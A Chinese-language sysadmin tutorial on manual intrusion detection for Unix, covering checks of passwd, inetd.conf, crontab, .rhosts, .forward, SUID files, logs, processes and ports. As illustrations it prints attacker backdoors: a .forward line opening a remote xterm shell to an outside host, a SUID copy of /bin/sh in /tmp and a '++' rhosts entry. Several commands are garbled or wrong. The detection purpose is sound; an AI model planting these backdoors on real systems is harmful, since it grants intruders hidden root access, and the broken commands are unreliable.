UniX 和类 UNIX 系统入侵检测方法

一个好的网管员不但要管理好网络，能及时排除各种故障，还要注意网络安全，提防黑客入侵。所以熟悉常用手工入侵检测的方法和命令也应该是网管员们的基本技能之一。本文介绍的是一些 Unix 下常用手工入侵检测方法与命令，网管员们掌握了它不但可以迅速判断出一些简单的黑客入侵，还可以加深对入侵检测的了解，从而能更好地使用一些入侵检测和审计工具。

1、检查/etc/passwd 文件中是否有可疑用户

Unix 中/etc/passwd 文件是存储系统用户口令等重要信息的文件，黑客入侵系统后往往会使用在 passwd 文件中增加特权用户的方法为自己留个后门。所以我们要经常查看，如果您的系统用户较少，您可以采用直接查看 passwd 文件的方法，命令如下：

$ cat /etc/passwd

如果您的系统有成百上千个用户，那直接查看就不行了，不过我们只要检测其中是否有 UID 为 0 的特权用户就行了，这时可以使用以下命令来实现：

$ awk -F: '$3= = 0{print $1}' /etc/passwd

如果您还想看看是否有空口令用户，那可以用如下命令：

$ awk -F: 'length($2)= = 0 {print $1}' /etc/shadow

当然网管员不可能每天都去查看 passwd 文件，我们可以编写一个如下的脚本程序，并将其放入/etc/cron.daily 文件中，让它每天检测 passwd 文件中的所有 UID 和 GID 为 0 的用户，然后把清单寄给 root,这样网管员只要每天收看一下信件就行了。具体脚本如下：

$ grep ‘0:0’ /etc/passwd | awk ‘BEGIN {FS=“:”} / {print $1}’ | mail -s “ ‘date +” %d%f “ ‘” root

2、检查/etc/inet.conf 和 crontab 文件是否被修改

Inet.conf 是系统守护进程的配置文件，里面的服务会随系统的启动而启动，如系统开放了 Telent 服务，inet.conf 文件中就会有这样一个语句：

telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

从左到右依次表示的是：服务名称、套接口类型、协议类型、运行动作、进程所属用户、守护进程路径名、守护进程名字及参数。黑客会通过替换或增加其中的服务来运行他的后门，网管员应该对 /etc/inetd.conf 中的内容比较熟悉，然后用如下命令列出其中的所有服务：

$ ls -l /etc/inetd.conf

再一一查看是否有可疑服务、服务名与其对应的程序是否一致。

同样/etc/crontab 文件是 Cron 服务的配置文件，Cron 用于计划程序在特定时间运行的服务，系统的 crontab 文件在/etc/中，root 用户的 crontab 文件在 /var/spool/crontab/root 中,其具体格式如下：

0 0 * * 3 /usr/bin/backdoor

从左到右依次表示的是：分钟、小时、日、月、星期、所要运行的程序。像上面这个例子就是用户在每天的午夜零点运行 backdoor 程序，而这个 backdoor 程序如果是黑客程序呢！明白了吧，所以网管员也要经常用 cat 命令查看其 crontab 文件，看是否有黑客混入。

3、检查.rhosts、/etc/hosts.equiv、.forward 文件是否被修改

这几个文件是常被黑客利用来安装后门的文件。如果您的系统开了像 Rlogin、Rsh、Rexec 等 R 类服务，那您必须检查.rhosts 、/etc/hosts.equiv 这两个文件了，因为像 Rsh 和 Rlogin 这样的服务是基于 rhosts 文件里的主机名使用简单的认证方法，黑客只要向可以访问的某用户的 rhosts 文件中输入“++”，那就允许任何人从任何地方无须口令使用这个账号从 513 端口的 Rlogin 服务登录您的机子，而且像 Rsh 服务缺少日志能力，更加不容易被发现，.hosts.equiv 文件也类似。管理员们可以用如下命令检查这两个文件：

$ find / -name“rhosts”-print | grep ‘++’

cat /etc/hosts.equiv

不过实际上黑客只要将.rhosts 文件设置成允许来自网上的某一个账号的主机名和用户名登录就行，所以管理员们最好能借助审计工具更仔细检查这些文件。

还有一个.forward 文件。在.forward 文件里放入命令是 Unix 中黑客重新获得访问的常用方法。像用户 username 的.forward 文件的 home 文件夹中，黑客会把 .forward 设置如下：

/username | “/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh”

这种方法的变形包括改变系统的 mail 的别名文件、从.forward 中运行简单脚本实现在标准输入执行等。所以网管员们也要经常检查.forward 文件

4、检查是否有危险的 Root Suid 程序

Root Suid 程序更是黑客在 Unix 系统留后门的一种常见方法，黑客通过种种方法取得了 root 权限后，他便会拷贝一份 root shell，并将它设置 Suid（set uid）位，然后保存在隐蔽的文件夹中：

#cp /bin/sh /tmp/.backdoor

#chmod u+s /tmp/.backdoor

下次黑客以一般用户登录后，只要运行这个.backdoor 就又能获得 root 权限了。要发现它比较简单，网管员们可以用以下命令：

find / -type f (-perm -4000 -o -perm -2000) -print

5、检查系统日志

Unix 的日志可以说是比较健全的，它记录了用户登录、操作及系统事件等等许多东西。Unix 系统日志文件通常是存放在/var/log 和/var/adm 目录下，但每个 Unix 版本不同存放日志的具体地方可能不同，大家可以通过查看/etc/syslog.conf 知道日志配置的具体情况。具体的日志文件有 lastlog、utmp、wtmp、syslog 、sulog 等，它们记录的分别是不同的事件，通过查看这些日志可以获得一些黑客入侵的“蛛丝马迹”，当然前提是日志没有被黑客动过手脚。

如像 lastlog 记录的是所有用户的最近登录时间和访问时的网络地址，我们想查看最近 30 次登录的用户和他们的地址，可以用如下命令：

last -30

utmp 则记录的是当前登录到系统的用户信息，我们可以用 who 命令来查看。wtmp 记录的是记录历史的 login 和 lognout 信息，可以用 last 命令访问。而 syslog 记录的是各种程序产生的日志，sulog 记录的是用户用 su 命令转变为另一用户的信息。

6、检查是否有可疑进程

百分之九十的后门和木马都是以进程形式存在的，所以查看是否有可疑进程很重要,这就要求网管员对各个进程非常熟悉才行。当然重点是查看 Unix 系统的 inetd 守护进程，原因我们前面说了因为 inetd 守护进程的程序随系统启动而启动，所以黑客后门程序通常加在 inet.conf 中。可以用以下命令查看其进程：

ps -aef | grep inetd

当然 inetd 很多，如何能看出可疑进程呢？首先正常的 inetd 的 pid 比较靠前，其次 Unix 系统中没有用 inetd 去启动某个文件的情况，如果用 ps 命令看到了类似于 inetd -s /tmp/.backdoor 的启动进程时就要注意了！如果不是网管员自己加的，那就说明有人已经侵入您的系统了。

7、检查网络连接和开放端口

黑客所留的后门中有一些会开启系统新的端口进行监听，等待黑客连接。最简单常见的就是将一个加密 root shell 绑定在高位端口上。所以网管员们应该经常查看网络连接状态，看看是否有可疑连接和可疑端口，此类常用命令如下：

查看网卡设置：

ifconfig -a

查看本机的路由、网关设置情况：

netstat -m

查看本机所有的网络连接：

netstat -an

查看本机所有开放的端口：

netstat -an | grep listen

以上介绍的是一些简单的入侵检测原理和方法，正如我们看到的，手工入侵检测相当烦琐，很难进行深层次的检测，而且这些检测大多基于系统命令，如果系统文件已经被黑客替换的话，就不可能进行准确的检测，要正确有效地进行入侵检测和审计需要借助于一些入侵分析工具。本文介绍这些方法的目的也不是为了提倡大家手工检测入侵、排斥入侵审计工具，而是让大家对入侵检测原理有个最基本的了解、使网管员们能更正确有效地使用入侵分析工具。